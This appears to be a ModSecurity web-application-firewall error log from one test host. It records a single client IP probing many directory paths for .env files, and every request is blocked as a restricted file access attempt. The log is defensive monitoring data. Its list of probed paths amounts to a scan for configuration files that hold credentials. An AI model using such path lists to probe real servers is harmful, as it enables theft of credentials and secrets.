[Wed Feb 25 06:05:00.265678 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtQAAAAI&quot;]
[Wed Feb 25 06:05:00.265878 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtQAAAAI&quot;]
[Wed Feb 25 06:05:00.297409 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /codegolf.web/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtgAAAAI&quot;]
[Wed Feb 25 06:05:00.297692 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtgAAAAI&quot;]
[Wed Feb 25 06:05:00.297883 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtgAAAAI&quot;]
[Wed Feb 25 06:05:00.338019 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJgAAAAQ&quot;]
[Wed Feb 25 06:05:00.338305 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJgAAAAQ&quot;]
[Wed Feb 25 06:05:00.338512 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJgAAAAQ&quot;]
[Wed Feb 25 06:05:00.401656 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /codenames-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtwAAAAI&quot;]
[Wed Feb 25 06:05:00.401950 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtwAAAAI&quot;]
[Wed Feb 25 06:05:00.402146 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtwAAAAI&quot;]
[Wed Feb 25 06:05:00.409791 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJwAAAAQ&quot;]
[Wed Feb 25 06:05:00.410063 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJwAAAAQ&quot;]
[Wed Feb 25 06:05:00.410213 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJwAAAAQ&quot;]
[Wed Feb 25 06:05:00.448353 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /collab-connect-web-application/server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWuAAAAAI&quot;]
[Wed Feb 25 06:05:00.448616 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWuAAAAAI&quot;]
[Wed Feb 25 06:05:00.448794 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWuAAAAAI&quot;]
[Wed Feb 25 06:05:00.518897 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXKgAAAAQ&quot;]
[Wed Feb 25 06:05:00.519183 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXKgAAAAQ&quot;]
[Wed Feb 25 06:05:00.519394 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXKgAAAAQ&quot;]
[Wed Feb 25 06:05:00.520947 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /collected_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWuQAAAAI&quot;]
[Wed Feb 25 06:05:00.521201 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWuQAAAAI&quot;]
[Wed Feb 25 06:05:00.521363 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWuQAAAAI&quot;]
[Wed Feb 25 06:05:00.565153 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /community/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWugAAAAI&quot;]
[Wed Feb 25 06:05:00.565405 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWugAAAAI&quot;]
[Wed Feb 25 06:05:00.565578 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWugAAAAI&quot;]
[Wed Feb 25 06:05:00.660907 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWuwAAAAI&quot;]
[Wed Feb 25 06:05:00.661343 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWuwAAAAI&quot;]
[Wed Feb 25 06:05:00.661567 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWuwAAAAI&quot;]
[Wed Feb 25 06:05:00.710051 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXLQAAAAQ&quot;]
[Wed Feb 25 06:05:00.710326 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXLQAAAAQ&quot;]
[Wed Feb 25 06:05:00.710512 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXLQAAAAQ&quot;]
[Wed Feb 25 06:05:00.839867 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXLwAAAAQ&quot;]
